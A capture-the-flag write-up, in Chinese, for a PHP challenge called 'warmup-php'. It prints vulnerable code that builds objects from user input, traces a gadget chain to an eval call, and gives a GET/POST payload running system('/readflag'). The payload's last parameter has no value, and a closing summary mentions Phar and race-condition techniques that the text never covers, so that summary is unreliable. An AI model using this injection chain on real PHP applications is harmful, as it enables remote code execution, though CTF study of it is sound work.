warmup-php
先分析一下index.php的内容,创建一个对象,并且循环赋值,然后调用run函数。
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
public function __construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
我们先找一下利用可以利用的点:
在Base.php的evaluateExpression函数中有个eval可以利用。

在TestView.php中的renderTableRow函数可以触发Base.php的evaluateExpression函数。

而TestView.php中的renderTableRow函数又可以通过renderTableBody函数触发。

那么怎么触发TestView.php中的renderTableBody函数呢?
在index.php中run函数只有ListView.php有,通过run->renderContent->renderSection来连接一个renderTableBody

最后链子就是这样子
action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()
然后在看一下参数rowHtmlOptionsExpression和data,row以存在。

最后payload可以构造为
GET:?action=TestView
POST:1=system('/readflag');&properties[template]={
TableBody}&properties[data]=phph&properties[rowHtmlOptionsExpression]

本文详细解析了如何通过PHP代码利用特定漏洞,从Base.php的evaluateExpression函数入手,逐步触发多个函数,最终实现文件读取。涉及到了Phar文件构造、参数操纵和条件竞争等技术,展示了如何在实际环境中利用这些技巧获取源码和执行恶意操作。
最低0.47元/天 解锁文章
1132

被折叠的 条评论
为什么被折叠?



